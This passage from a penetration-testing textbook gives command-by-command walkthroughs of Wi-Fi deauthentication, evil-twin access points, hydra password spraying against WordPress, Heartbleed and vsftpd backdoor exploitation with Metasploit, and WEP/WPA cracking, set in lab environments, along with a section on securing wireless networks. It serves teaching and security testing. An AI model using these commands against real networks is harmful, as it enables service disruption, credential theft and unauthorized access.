post-analysis. Using the -w parameter will allow you to specify the file location to save the
content. Therefore, the following command will help you to achieve this task:

airodump-ng --bissid <bssid value> -c <channel number> wlan0mon -w
/root/capture
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Using the ls -l command on your Terminal, you'll see that the data has been written
offline in the root directory:

airodump-ng usually writes the captured data into five file types; these are the .cap, .csv,
.kistmet.csv, .kismet.netxml, and .log.csv formats.

The longer you leave the airodump-ng tool running, the more packets will be written in
the offline files and will eventually capture the WPA/WPA2 handshake between the clients
and the targeted AP. During packet sniffing with Airodump-ng, you'll see a WPA
handshake message appear in the top-right corner; this is an indication that the
WPA/WPA2 handshake has been captured by airodump-ng. Capturing the WPA/WPA2
handshake will assist us in cracking the password for the target wireless network.

In the next section, we will attempt to deauthenticate users from a wireless network.

Deauthenticating clients on a wireless
network
Whenever a client device, such as a laptop or smartphone, is attempting to create an
association with a password-protected wireless network, the user will need to provide the
correct passphrase. If the user provides the correct passphrase, the device will be
authenticated on the network and will be able to access any resources available.

In a deauthentication attack, the attacker, or penetration tester, is attempting to knock (kick)
every associated device off a wireless AP. This attack is executed where the attacker
machine is not connected (associated) in any way to the target wireless AP or network.
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For the attacker machine to send a deauthentication frame to the wireless AP, a reason code
is inserted within the body of the frame. The codes are used to inform the access point or
wireless router of a change on the network. The reason code will indicate one of the
following:

Code 2: Previous authentication no longer valid
Code 3: Deauthentication leaving

This will create the effect of each client being deauthenticated from the targeted AP. The
following is an illustration of the attack on a network:

To launch a deauthentication attack, perform the following steps:

Enable monitor mode on your wireless adapter.1.
Use the airodump-ng wlan0mon command to discover your target's BSSID2.
address. The BSSID will be used to launch our attack specifically toward a
particular AP.
Once the target AP has been discovered, take note of its BSSID and operating3.
channel, and then terminate the scanning of nearby APs by using Ctrl + C.
Narrow your scope on wireless monitoring to the specific target AP just by using4.
the following syntax: airodump-ng --bssid <bssid value> -c <channel
#> wlan0mon. This current Terminal window will be used to monitor the
progress of our attack.
Open a new Terminal window. This window will be used to launch the attack5.
using the aireplay-ng tool. The aireplay-ng -0 0 -a <BSSID> wlan0mon
command will send a continuous stream of deauthentication frames to the target
AP.
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Your results should be similar to the following screenshot:

In the screenshot, we can see that aireplay-ng is sending a continuous stream of
deauthentication frames to our targeted access point.

During the attack, switch back to the first Terminal window where you are monitoring
your target network. Soon, you'll see that the clients (stations) are being disconnected and, 
eventually, the WPA/WPA2 handshake will be captured. You will notice on your Terminal
with airodump-ng that the WPA handshake value will appear in the top-right corner of the
window. This is an indication that the WPA/WPA2 handshake has been captured. In the 
next chapter, we will perform password cracking on a wireless network.

You can use tools such as Hashcat (https:/ /hashcat. net/ hashcat/ ) and
John the Ripper (https:/ /www.openwall. com/ john/ ) to perform
password cracking as well.

Additionally, if you would like to deauthenticate a specific client (station) from an AP, the
following command will allow this action:

aireplay-ng -0 0 -a <target's bssid> -c <client's mac addr> wlan0mon

The following are descriptions of each parameter we used:

-0: This indicates that it's a deauthentication attack.
0: This specifies the number of frames to inject. Using 0 will create a continuous
attack; if you specify 2, only two deauthentication frames will be injected.
-c: This allows you to specify the client's MAC address.

In the next section, we'll be creating a honeypot using Kali Linux and various wireless tools.
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Creating a rogue AP/evil twin
As a future penetration tester or ethical hacker, you may be tasked with conducting
extensive wireless security testing for your company or a client organization. Creating a
rogue AP with an interesting SSID (wireless network name), such as VIP_WiFi or
Company-name_VIP, will lure employees to establish a connection.

In creating a rogue AP, the objective is to capture user credentials and sensitive information
and to detect any vulnerable wireless clients in an organization. The following are some
tips to consider when deploying your rogue AP:

Choose a suitable location to ensure there is maximum coverage for the potential
victims.
Deauthenticate clients from the real AP, causing them to create an association
with the rogue AP.
Create a captive portal to capture user credentials.

To get started, we are going to use Airgeddon. This tool contains a lot of features and
functions that will assist us, from gathering information about a target wireless network
and its clients to launching various types of attacks and luring users to associate with our
rogue AP.

To get started with creating a fake access point, please follow these steps:

Download Airgeddon from its GitHub repository and give the airgeddon.sh1.
script executable permissions on your user account. Use the following
commands:

git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git
cd airgeddon
chmod +x airgeddon.sh

On your Terminal window, use the ./airgeddon.sh command to start the2.
Airgeddon interface. Once the script has been initiated, Airgeddon will begin
checking for the essential hardware and software requirements on your Kali
Linux machine.
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Hit Enter a few times until you've reached the interface selection prompt; be sure3.
to select your wireless adapter, as shown in the following screenshot:

Select option 2, which has the wlan0 interface, and hit Enter.

If Airgeddon has indicated that you're missing any tools, please be sure to
install them before continuing.

You'll now be presented with the main dashboard of Airgeddon. Here, you can4.
choose to switch between monitor or managed mode on your wireless adapter.
You'll be able to launch various types of attacks, such as Denial-of-Service (DoS)
attacks, attempt to crack wireless passwords, capture and decrypt wireless
handshakes, perform an evil twin attack, or create a rogue AP:
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For our attack, we are going to create a honeypot to lure victims into connecting
to our fake AP to intercept, redirect, and capture sensitive information.

Next, set your wireless adapter to monitor mode. You can do this within the5.
Airgeddon menu using the Put interface in monitor mode option. Once
completed, you should see the status of your wireless adapter now changed to
Monitor mode, as shown in the following screenshot:

Select the Evil Twin attacks menu option and hit Enter. You'll be presented with6.
the following options:
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Not only does Airgeddon allow us to easily set up a rogue AP or evil twin, but it
also provides us with additional features, such as sniffing the victim's traffic,
performing SSL stripping of any SSL/TLS connections, performing browser
exploitation, and even creating a captive portal for gathering user credentials.

Let's first look for a target. Choose option 4 and hit Enter. A pop-up Terminal7.
window will open, displaying all nearby APs. When you're ready to choose a
target, choose the scanning window:

Choose your target AP and hit Enter to continue. At this point, we have set our8.
wireless adapter to Monitor mode and chosen our target:
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Let's perform an evil twin attack with sniffing. Choose option 6 and hit Enter.9.
The following menu will become available:

Select option 2 to perform a deauthentication attack to the target wireless10.
network; this will force the clients of the real network to disconnect
(deauthenticate) and they will attempt to connect to our rogue AP/evil twin.
Airgeddon will ask you to choose a physical interface that is connected to the
internet/physical network. The purpose is to provide the illusion of regular
network connectivity to the victims. When they are connected and accessing the
local resources, the victims will think it's the legitimate network:

Choose the appropriate interface and hit Enter to continue; hit Enter once more to11.
verify the selected interface.

Choose the option to spoof your MAC address to change your identity.
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When you're ready, launch the attack. Airgeddon will open a few smaller12.
Terminal windows displaying the status of each attack it's performing, as shown
in the following screenshot:

Once a client is connected, the appropriate Terminal window will provide you with an
update. With just a few steps, you now have your own rogue AP/evil twin.

In the next section, we will discuss and demonstrate password spraying on a target system.

Performing a password spraying attack
Password spraying (sometimes referred to as reverse brute force) is a technique whereby
multiple login attempts are made by using a valid username(s) and a word list containing
various possibilities of the password. The objective of performing a password spraying
attack is to obtain a set of valid user credentials.

To perform a password spraying attack, we are going to use our existing WordPress server
as our target Burp Suite to obtain the username and password input field on a web page,
and hydra to perform our password spraying attack to find valid user credentials.
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To get started, please use the following instructions:

Configure your web browser to use the Burp Suite proxy settings. Once you've1.
done that, open Burp Suite and turn on its Intercept mode.
Next, on your web browser, go to the WordPress login portal. The URL should2.
be http://<server address>/wp-login.php. Please note that you should
not attempt any attacks on any devices or networks where you have not acquired
legal permission from the appropriate authorities. The tasks performed in this
section are conducted in a lab environment for educational purposes only.
Enter the following user credentials in the username and password fields and hit3.
Enter to send a login request:

uname

pass

Head back over to Burp Suite. On the Proxy | Intercept tab, hit the forward4.
button a few times until you see an HTTP POST message in the Raw sub-tab, as 
shown in the following screenshot:
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Within the POST message, take note of the directory (/wp-login.php) in the first5.
line and the username/password field.
Be sure to record the login error message on the web page as it is required in the6.
later steps:

In our exercise, two custom word lists have been created: the first word list
contains a list of possible usernames, and the second contains a list of possible
passwords. Using the hydra tool on Kali Linux, you will be able to perform a
password spraying attack on the target WordPress server.

Using hydra, we can have the following syntax:7.

hydra -L <username list> -p <password list> <IP Address> <form
parameters><failed login message>
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Substituting each value in the syntax, we get the following command:8.

hydra -L usernames.txt -P custom_list.txt 10.10.10.22 http-
form-post "/wp-login. php: log=^USER^&pwd=^PASS^&wp-
submit=Log+In&redirect_to=http%3A%2F%2F10.10.10.22%2Fwp-admin%
2F&testcookie=l: Invalid username" -V

Replacing uname with ^USER^ and pass with ^PASS^, we can tell hydra that9.
these are the username and password fields. Additionally, –V is specified to
produce a verbose output on the Terminal window.
After executing the command, the following is an example of the expected10.
output. The rows that begin with [80] [http-post-form] provide a possible
valid username and password for the target, as shown in the following
screenshot:

Be sure to check each username and password to verify its authenticity on the target
system. Rapidly firing usernames and passwords to a target system may cause a lockout
and stop the attack on our end. To create a 10-second wait period between attempts, use the
-w 10 parameters. This is optional; however, it may reduce the chances of being locked out
or blocked by the target.

In the next section, we will cover the essentials of a watering hole attacks.
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Setting up watering hole attacks
Within the field of IT security, learning about various types of attacks and threats is very
important. Some of these attacks have some very unusual names, and, in this section, we
will cover the fundamentals of a watering hole attack.

Let's imagine you're the IT security administrator or engineer for a company. You've
implemented the best security appliances within the industry to proactively detect and
prevent any sort of threats, whether internal or external. You've also implemented industry
best practices, adhered to standards, and ensured that your users (employees of the
organization) are frequently trained in user security practices. You have built a security
fortress within the organization and ensured that the network perimeter is also on guard
for new and emerging threats.

Attackers would notice that they are unable to penetrate your network, and even social
engineering techniques such as phishing emails would not be successful against your
organization. This would create a big challenge to compromise the organization (target), as
it's very well protected. One method of doing this is to perform a watering hole attack.

Imagine that, during their lunch break, a few employees visit the nearby coffee shop for a
warm or cold beverage. Hackers could be monitoring the movements of the employees of
an organization—say they visit places that contain public Wi-Fi quite often during their
breaks, or even after work. Let's say there's a group of employees who frequent the local
coffee shop. The attacker can compromise the coffee shop's Wi-Fi network and plant a
payload that downloads to any device connected to the network and runs in the
background.

By compromising the coffee shop's Wi-Fi network, the attack is poisoning the watering
hole, which everyone, including the employees of the target organization, is using while
they enjoy their beverages. Let's imagine Alice's smartphone is compromised at the coffee
shop; she carries it back to the organization and connects to the internal (Wi-Fi) network. At
this point, the attack is being generated from the inside and can compromise the remaining
segments of the network, or even attempt to create a backdoor in the target organization.

There are many other methods for creating a watering hole attack; this was just one
example. Another example would be compromising a legitimate website that a lot of users
visit often and planting malware on the potential victims' systems. When the systems are
infected with malware, the payload can target other websites or networks.

In the next section, we will discuss and demonstrate how credentials can be stolen from
systems that use weak encryption systems.
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Exploiting weak encryption to steal
credentials
Encryption plays is a key role in our daily lives; whether we are checking our emails on the
go, browsing a favorite website, or simply sending a message to a friend, data encryption
provides us with an acceptable level of privacy from prying eyes. Quite often, IT
professionals don't always keep track of their compliance levels in maintaining encryption
techniques to secure data on a system. This leads to a malicious user or hacker
compromising a vulnerable system to retrieve confidential data due to poor encryption
practices.

In this exercise, we will attempt to discover one of the most common vulnerabilities in
encryption on a target. Once found, we will then exploit the weak encryption vulnerability.

To get started, perform the following steps:

Download and set up the bee-box virtual machine. The bee-box file can be found1.
at https:/ /sourceforge. net/ projects/ bwapp/ files/ bee- box/ .
Once installed, open the web browser on your Kali Linux (attacker machine),2.
enter the IP address of bee-box, and hit Enter.
The following screen will appear. Click on the bWAPP link, as shown in the3.
following screenshot:
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You'll encounter a login portal. Insert the username bee and the password bug to4.
log on:

In the top-left corner of the screen, use the drop-down menu and select5.
Heartbleed Vulnerability. Then, click Hack to load the vulnerability on the
target virtual machine:
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Next, you'll be presented with the following screen:6.

On your Kali Linux machine, enter the new URL with the port number 8443 in7.
the address bar and hit Enter. The new URL should be
https://10.10.10.131:8443. Be sure to log in to the bWAPP application
again using the credentials provided in Step 4.
Using Nmap, we can perform a vulnerability scan to determine whether the8.
heartbleed vulnerability exists on a target. To perform this task, use the following
command:

nmap -p 8443 -script ssl-heartbleed <target IP address>
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If the vulnerability exists on the target, Nmap will present us with the following
screen:

Now that we are certain that the heartbleed vulnerability exists on our target, it's9.
time to use Metasploit to perform a bit of exploitation. Within Metasploit, let's
use the search command to help us find a suitable module:
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The search returned two available modules. We will use the10.
auxiliary/scanner/ssl/openssl_heartbleed module. Additionally, we
will set RHOSTS as the target's IP address and RPORTS as 8443, as specified in the
hint from the bWAPP interface. The following snippet shows the configurations:

Upon launching the module, you'll observe that the data is being leaked in the
following screen:

Carefully examining the output, you can see that the exploit has returned the
Printable info leaked section, which is followed by HTTP session
information in plaintext; the target machine responded with a data leak. If no leak
was found, the target machine won't return any data to our Metasploit interface.
By default, a dump of the data has been extracted and stored in the
/root/.msf4/loot/… location on your Kali Linux machine.
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Using the show info command, you'll see the available actions to perform11.
under the openssl_heartbleed module, as shown in the following screenshot:

These actions can be changed using the following commands:

set action DUMP

set action KEYS

set action SCAN

The following is the content of the .bin file after a set action DUMP command was used:

Additionally, the more people are currently accessing the vulnerable application the higher
the possibility of gathering more confidential information, such as login credentials.
However, in our exercise, I was able to capture the cookie data.

Summary
During this chapter, you learned how to perform wireless packet sniffing, familiarized
yourselves with the basics of packet sniffing, and targeted packet sniffing using aircrack-
ng. Additionally, you learned the essential skills required to perform a deauthentication
attack on a target wireless access point during the Deauthenticating clients on a wireless
network section.
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In the Creating a rogue AP/evil twin section, you learned how to use Airgeddon to chain
multiple attacks together and create an evil twin/rogue access point. Furthermore, the
section on password spraying provided the skills necessary to gain access to a remote
system while acquiring the skills to exploit systems that use weak encryption.

In the next chapter, Chapter 10, Network Penetration Testing - Gaining Access, we will be
covering network penetration in greater detail.

Questions
What tool can enable monitor mode for your wireless network adapter?1.
What is another name for the SSID?2.
During a deauthentication attack, what codes are used to disconnect clients?3.
What tool is used to perform deauthentication?4.

Further reading
The following are some additional reading resources:

Deauthentication attacks: https:/ /www. aircrack- ng.org/ doku. php? id=
deauthentication

Common WLAN protection mechanisms and their flaws: https:/ /hub.
packtpub. com/ common- wlan- protection- mechanisms- and-their- flaws/ 

Advanced wireless sniffing: https:/ /hub. packtpub. com/ advanced- wireless-
sniffing/ 
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10
Network Penetration Testing -

Gaining Access
Gaining access to a system and network is one of the most critical phases during a
penetration test. This phase tests both the penetration tester's skill set and the security
controls of the target system and network. The penetration tester must always think about
all the possible ways in which they can break into the target by exploiting various security
flaws.

Without gaining access to a corporate network, you will not be able to perform any sort of
network penetration and exfiltrate data. The purpose of a penetration test is to simulate
real-world attacks that a real hacker with malicious intent would perform. This means
gaining unauthorized entry to a corporate network and compromising systems.

As an upcoming cybersecurity professional/penetration tester, you will learn how to
compromise wireless networks, exploit the Linux and Windows operating systems, take
advantage of remote access services, and retrieve user account credentials to gain access to
a system and network. Additionally, you'll learn about various countermeasures for
securing a wireless network from cyber threats.
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In this chapter, we will be covering the following topics:

Gaining access
Wired Equivalent Privacy (WEP) cracking
Wi-Fi Protected Access (WPA) cracking
Securing your wireless network
Configuring wireless security settings
Exploiting vulnerable perimeter systems
Penetration testing Citrix and Remote Desktop Protocol (RDP)-based remote
access systems
PWN boxes and other tools
Bypassing Network Access Control (NAC)

Technical requirements
To follow along with the instructions in this chapter, please ensure that you meet the
following hardware and software requirements:

Kali Linux
Windows 7
Wireless router

Gaining access
Penetration testing and ethical hacking is an exciting topic. Everyone is always excited to
hack another system, whether it's a computer or even a wireless network. The previous
chapters focused on gathering enough intelligence on a target prior to launching an attack.
The exploitation phase of hacking and penetration testing can sometimes be challenging.

It's very important to gather as many details as possible about the target. Such background
work helps us to determine approximate exploits and a payload we can launch against a
target system or network. Sometimes, when you launch an exploit that's intended for a
particular operating system, it may not work, and this can be frustrating. One tactic you can
adopt is to target the low-hanging fruits on a network—that is, attempt to exploit and gain
access to systems and devices that seem easier and vulnerable to TCP/IP protocols that can
be easily exploited.
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An example is the vsftpd service, which we explored in the previous chapters and used to
gain entry to the target via a shell interface. Another example is the EternalBlue
vulnerability, which is found on the Windows operating system. During your scanning
phase, be sure to perform an extensive vulnerability assessment on all the devices on your
target network.

Begin by exploiting targets that seem to be the most vulnerable and, hence, easy to exploit,
and then move on to those that are less vulnerable and thus more difficult to exploit. To put
this into context, imagine appearing for a written examination. The question paper has a lot
of challenging questions that need to be answered within a given time period. In such a
scenario, it's always wise to answer easier questions first and then move on to the tougher
ones. This will give you more time to answer questions that you are more likely to get
correct and maximize the marks that you will score in the exam.

There are many methods and techniques a penetration tester can apply to gain access to
systems, such as the following:

Online and offline password cracking
Cracking the pre-shared key (PSK) on a wireless network
Social engineering
Performing a Man-in-the-Middle (MITM) attack
Performing a brute-force attack on application layer protocols

During the gaining-access phase, a penetration tester usually performs various types of
attack that will assist them in gaining entry to a network. Usually, you start by performing
online or offline password cracking. Once you've obtained a valid username and password,
the next step is to access the victim's system and escalate your user privileges. Obtaining a
higher level of user privilege will allow for the execution of any application and tasks on
the compromised machine. Hiding files such as malicious code is designed to ensure that a
hidden backdoor is created and that logic bombs (a type of virus that contains a set of
instructions triggered by a user's action) have been planted. Lastly, when disconnecting
from a compromised machine, it's always wise to cover your tracks. Covering your tracks is
the last phase in penetration testing and focuses on removing any log files and evidence
indicating that an attacker was present on the system or network.
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The following is a typical flowchart for gaining access to a system:

In the upcoming sections, we will take a look at various methods we can use in order to
gain entry to a target system.

WEP cracking
By using wireless networking, users with an IEEE 802.11-compatible device such as a
laptop are able to connect to a wireless access point. This will let them access the resources
on the local network, just like they would when connected physically using a wire. Wireless
networking provides a lot of convenience to a user, whether at home or in a corporate
environment.

By default, a wireless network is open, thus allowing anyone with a laptop or smartphone
to establish a connection. This creates a concern about user privacy and security. The WEP
encryption standard was used in the early generations of wireless networking and is still
implemented by users at home and by IT administrators.

The WEP encryption standard uses the Rivest Cipher 4 (RC4) encryption cipher, which
uses a 40-bit key for data encryption. When it was developed, this was considered very
secure, but, by 2002, multiple security weaknesses had been found in the standard. An
attacker would be able to obtain the encryption key within a few hours. Using the 40-bit
key, an attacker could capture and decrypt traffic very quickly, which compromised the
confidentiality of the WEP encryption standard. In modern cryptographic standards, a
larger encryption key is used to prevent such attacks on data encryption.
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As a cybersecurity professional in the field of offensive security, it's important to
understand the techniques you should apply when performing WEP cracking using Kali
Linux.

Perform the following steps to accomplish this:

Enable monitoring mode on your wireless adapter with the following command:1.

airmon-ng check kill
airmon-ng start wlan0

Perform wireless sniffing on nearby access points until you have discovered your2.
target:

airodump-ng wlan0mon

Once you've found your target, make a note of its BSSID, channel, and ESSID
values.

Stop airodump-ng using Ctrl + C on your keyboard after obtaining the details,3.
and then proceed to the next step.
Attempt a packet capture for the target wireless network:4.

airodump-ng --bssid <target BSSID value> -c <channel #>
wlan0mon -w <output file>

Let's look at what some of these commands do:

--bssid: Allows you to specify a particular access point by using
its BSSID value (media access control address of the access point)
-c: Allows you to set the wireless radios so that they listen on a
specific channel
-w: Specific to the output location and filename

Perform a deauthentication attack on the target.5.

Performing a deauthentication attack on the target access point will force any
connected clients to disassociate. Once the clients are disconnected, they will
automatically attempt to reconnect to the access point. In doing so, you are
attempting to capture the WEP key during the clients' attempt to reauthenticate:

aireplay-ng -0 0 -a <target's bssid> wlan0mon
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When you have captured the WEP key (you'll see the notification on the window
running airodump-ng), you can stop the deauthentication attack.

Next, let's attempt to crack the WEP and retrieve the secret key.6.

Once you've captured sufficient data on the target wireless network, stop
airodump-ng. Using the ls -l command on the Terminal, you'll see a .cap file.
In a new Terminal window, execute the following command:

aircrack-ng -b <bssid of the access point> output_file.cap

Additionally, you can use the following simple command to achieve the same
task:

aircrack-ng output_file.cap

The following screenshot is an example of the expected output:

However, your WEP key will be different based on the value that was set by the
administrator of the wireless access point. The output key is given in hexadecimal format,
so you can now take this hex-based key and use it to access the target access point.

Having completed this section, you are now able to perform WEP cracking on wireless
networks. In the next section, we will take a deep dive into how to perform WPA cracking
techniques.

WPA cracking
Given the security vulnerabilities found in WEP, WPA was created in 2002 as an improved
wireless security standard for IEEE 802.11 networks. WPA uses the Temporal Key
Integrity Protocol (TKIP), which applies the RC4 encryption cipher suite for data privacy
between the wireless access point and client devices.
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Furthermore, Wi-Fi Protected Access 2 (WPA2) was later developed to solve security flaws
in its predecessor. WPA2 uses the Advanced Encryption Standard (AES) for data
encryption as opposed to the RC4 cipher. Additionally, WPA2 implemented Counter Mode
with Cipher Block Chaining Message Authentication Code Protocol (CCMP), which
replaced TKIP.

Now, let's get into the fun part, cracking WPA to gain entry to a target wireless network:

Enable monitoring mode on your wireless adapter:1.

airmon-ng check kill
airmon-ng start wlan0

Perform wireless sniffing on a nearby access point until you have discovered2.
your target:

airodump-ng wlan0mon

Once you have found your target, take note of its BSSID, channel, and ESSID
values. Stop airodump-ng after obtaining the details, and then proceed to the
next step.

Attempt a packet capture for the target wireless network:3.

airodump-ng --bssid <target BSSID value> -c <channel #>
wlan0mon -w <output file>

Perform a deauthentication attack on the target.4.

Performing a deauthentication attack on the target access point will force any
connected clients to disassociate. Once the clients are disconnected, they will
automatically attempt to reconnect to the access point. In doing so, you are
attempting to capture the WEP key during the clients' attempt to reauthenticate:

aireplay-ng -0 0 -a <target's bssid> wlan0mon
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When you have captured the WPA handshake, as shown in the following
screenshot, you can stop the deauthentication attack:

Using Ctrl + C, stop the deauthentication attack and proceed to the next step.

To crack the WPA, we are going to use a word list. Using crunch, you can 5.
generate your own custom password word list. Additionally, the following are
the locations of various word lists that are already pre-installed on Kali Linux:

Once you have found a suitable word list, we can use the aircrack-ng tool with
the -w parameter to specify a word list of our choice.

To begin your password cracking for WPA, use the following command:6.

aircrack-ng output_file.cap -w <wordlist>

aircrack-ng will attempt to perform a dictionary attack using the specific word
list and will stop when the key is found, as shown in the following screenshot:
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Sometimes, a word list may not contain the password, and the result may not be
fruitful. Create a custom word list using the crunch tool, or try using a word list
from the SecLists GitHub repository at https:/ /github. com/ danielmiessler/
SecLists.

Now that you have completed this section on cracking wireless security, let's take a look at
the following section, which covers how to secure your wireless network against cyber
attacks.

Securing your network from the
aforementioned attacks
As you saw in the previous section, a penetration tester or malicious hacker can attempt to
hack your wireless network and obtain the secret key (password). Whether you're a student
taking a computer security course, an IT professional, or simply an enthusiast, the topics
covered in this section are some methods and techniques that you can use to secure your
network from such attacks.

In the following sections, we will cover the following topics:

SSID management
MAC filtering
The power level of antennas
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Strong passwords
Securing enterprise wireless networks

Let's dive in!

SSID management
When you buy a new access point or wireless router, the default service set identifier
(SSID) is usually that of the manufacturer. For example, the default SSID (wireless network
name) for a new Linksys access point would contain the name Linksys as its SSID. Many
manufacturers do this to help the user quickly identify their wireless network when setting
up a new access point. However, many individuals and organizations use the default SSID.

Leaving the default SSID as it is can be a security concern. Let's say you acquire a new
Linksys access point for your home or organization, and, during the setup process, you
decide to leave the default configurations for the device SSID. The word Linksys would be
part of the network name. As a penetration tester who is performing wireless scanning for
nearby access points, seeing a manufacturer's name can help profile the device and research
specific exploits for the Linksys AP.

Imagine seeing the word Netgear while scanning for wireless access points. You can
simply do a Google search for a list of known security vulnerabilities and
misconfigurations on this particular brand, as shown in the following screenshot:
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To put it simply, you should not use any sort of name that may attract hackers or give away
the identity of the access point and the organization. I often see companies create SSIDs
with the name of their organization and, at times, incorporate the purpose of the SSID as
part of the name.

An example of this is using the name CompanyName_Admin. Any penetration tester who is 
performing any sort of wireless security audit will target such networks initially.

Hiding an SSID is good practice, but it can still be discovered using
wireless sniffing techniques such as airodump-ng, as outlined in the
previous sections. Additionally, on a Windows-based system, you can use
NetStumbler (www.netstumbler.com) and inSSIDer (https:/ /www.
metageek. com/ products/ inssider/ ).

In the next section, we will discuss the purpose of MAC filtering on a wireless network.

MAC filtering
Each managed access point and its wireless router provides a basic type of access control
for connected devices. Enabling MAC filtering on an access point allows you to specify a
list of permitted and restricted devices that can, and cannot, connect to the access point.
However, there are techniques, all of which were covered in the previous chapter, that
allow a penetration tester to capture a list of authorized devices (their MAC addresses) and
perform spoofing to gain unauthorized access. However, this feature should still be
applied, since having some sort of security is better than having no security at all on your
network.

In the next section, we will cover the concept of power levels in antennas.

Power levels for antennas
Some access points have a feature within their operating system or firmware that allows
you to manually adjust power levels on the antennas. By lowering the power level on the
antenna, the broadcast range of the wireless signal will reduce in radius. Setting the power
levels to 100% will ensure there is maximum coverage for the signal. This feature can be
handy if you're concerned about others being able to see and intercept your data on the
wireless network.

Now that we have an understanding of the role power levels play on antennas, we will
cover the essentials of creating strong passwords.

Technet24
||||||||||||||||||||

||||||||||||||||||||

https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=2ahUKEwidnMDXmfjiAhVFTd8KHTPZAS8QFjAAegQIABAB&url=http%3A%2F%2Fwww.netstumbler.com%2Fdownloads%2F&usg=AOvVaw1txhDBmLy67I3rlfCDYpX8
https://www.metageek.com/products/inssider/
https://www.metageek.com/products/inssider/
https://www.metageek.com/products/inssider/
https://www.metageek.com/products/inssider/
https://www.metageek.com/products/inssider/
https://www.metageek.com/products/inssider/
https://www.metageek.com/products/inssider/
https://www.metageek.com/products/inssider/
https://www.metageek.com/products/inssider/
https://www.metageek.com/products/inssider/
https://www.metageek.com/products/inssider/
https://www.metageek.com/products/inssider/
https://www.metageek.com/products/inssider/
https://technet24.ir
https://technet24.ir
https://technet24.ir


Network Penetration Testing - Gaining Access Chapter 10

[ 301 ]

Strong passwords
Cracking a user password usually depends on the complexity of the password itself. Many
users tend to set simple and easy-to-remember passphrases on their devices, especially on a
wireless network. However, a complex password will create difficulties for the penetration
tester or hacker. Complex passwords have the following characteristics:

They contain uppercase characters
They contain lowercase characters
They contain numbers
They contain specific symbols
They are over 12 characters in length
They do not contain a name
They do not contain a date of birth
They do not contain a vehicle's plate number

The following is an example of a complex password generated by LastPass
(www.lastpass.com), a password manager:
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The idea is to ensure that nobody can guess or compromise your password easily. If a
malicious user is able to compromise another person's user credentials, the attacker can
wreak havoc on the victim's network and/or personal life.

In the following section, we will describe techniques that can be implemented on an
enterprise network to improve its security posture.

Securing enterprise wireless networks
An enterprise wireless network should use the following as techniques to reduce the risk of
wireless network attacks:

Implement a wireless intrusion prevention system (WIPS) on each wireless
network owned and managed by the organization.
Ensure that all wired and wireless devices have the latest firmware and patches
installed.
Ensure that devices and configurations are compliant with the National Institute
of Standards and Technology (NIST). Take a look at the Establishing Wireless
Robust Security Networks section in the NIST framework at https:/ /csrc. nist.
gov/publications/ detail/ sp/ 800-97/ final for more information.
Whenever possible, implement multi-factor authentication to access the
corporate network.
Implement the Extensible Authentication Protocol (EAP)—Transport Layer
Security (TLS) certificate-based method to ensure the confidentiality and
authenticity of wireless communication.
Use WPA2-Enterprise with AES encryption.
Implement an isolated guest wireless network.

Implementing these techniques and controls can help reduce the security risks on an
enterprise network. In the following section, we will cover the steps we need to follow in
order to configure and secure a wireless network.

Configuring wireless security settings to
secure your network
In this section, we'll discuss how to configure your wireless security features on your access
point and wireless router so that you can secure your network.
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For this exercise, I am using a Linksys EA6350 wireless router. Please note that all wireless
routers and access points have the same features within their management interface;
however, the graphical user interface (GUI) for each manufacturer and device may vary.

Let's get started!

You'll need to log in to your access point or wireless router.1.
Once logged in, click on the Wireless tab within the user interface. Here, you'll be2.
able to change the network name (SSID), set a complex password, set a security
mode, and broadcast the SSID, as shown in the following screenshot:
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Using the following guidelines will assist in improving the security posture of
your wireless network:

Change the SSID (network name) to something that won't attract
prying eyes.
Hide (broadcast) the SSID.
Create a complex password. If you're having difficulties, try using
an online password generator.

Each modern access point and wireless router allows various security modes,
such as the following:

None: Disables authentication.
WEP: Uses the WEP encryption standard.
WPA Personal: Uses the WPA encryption standard and allows you
to set a pre-shared key (PSK) on the access point. Therefore, any
device that requires access to the wireless network will be required
to provide the PSK.
WPA Enterprise: This mode applies the WPA encryption standard,
but note that the access point stores user credentials in WPA
Personal. WPA Enterprise queries a central authentication,
authorization, and accounting (AAA) server to verify user access
on the wireless network.
WPA2 Personal: Uses the WPA2 encryption standard.
WPA2 Enterprise: Uses the WPA2 encryption standard with the
AAA server.

You can choose to disable the SSID broadcast to cloak your network.

Next, you should see another sub-tab that allows you to configure MAC3.
filtering.
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Enable the MAC filtering feature. Once enabled, you'll have the option to add4.
MAC addresses to an allow or deny list, as shown in the following screenshot:

Lastly, disable the Wi-Fi Protected Setup feature, as shown in the following5.
screenshot:
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WPS has known security vulnerabilities and should not be used in secure environments.

Having completed this exercise, you are now able to configure and set up a wireless
network. In the next section, we will look at the essentials of exploiting perimeter systems.

Exploiting vulnerable perimeter systems
with Metasploit
Exploiting target systems on a network can sometimes be a challenging task. Exploits are 
simply pieces of code that are designed to take advantage of a security vulnerability
(weakness). In Chapter 5, Passive Information Gathering, Chapter 6, Active Information
Gathering, and Chapter 7, Working with Vulnerability Scanners, we took a n in-depth look at
establishing security flaws in target systems using various tools such as Nmap and Nessus.
In this section, we are going to leverage the information and skill set we have developed
thus far and perform exploitation using the Metasploit framework.
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During this exercise, we'll be using our Kali Linux machine as the attacker, and the
Metasploitable machine as the target. Let's get started:

Let's perform a service version scan on the target using Nmap. This will help us1.
to determine the ports, protocols, and service versions that are running. Execute
the nmap -sV <target IP addr> command:

As we can see, there are many services on the target.

Start the Metasploit framework by enabling the PostgreSQL database service.2.
Then, initialize the Metasploit framework and execute the following commands
within a Terminal window:

service postgresql start
msfconsole
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The Metasploit framework should take a minute or two to initialize. When it's
ready, you'll be presented with a fun welcome banner and the command-line
interface (CLI).

Based on our Nmap results, port 21 is open and is running the File Transfer
Protocol (FTP). By performing the service version scan, we are able to determine
whether it's running a vsftpd 2.3.4 daemon. On your Metasploit interface, you can
search for modules (scanners, exploits, and so on) using the search command,
followed by a keyword or string.

On your Metasploit console, search for any useful modules that may help us3.
compromise the FTP server on the target machine by running the following
command:

search vsftpd

Metasploit will provide us with a list of results that meet the search criteria. You4.
should see the console return a Unix-based exploit called
vsftpd_234_backdoor. To use this exploit on our target, use the following
sequence of commands:

msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS
10.10.10.100
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

Within my lab environment, the target is using the 10.10.10.100 IP address.
Please ensure that you verify the IP address of your target device before setting
the RHOSTS (remote hosts) value on Metasploit. Additionally, there are many
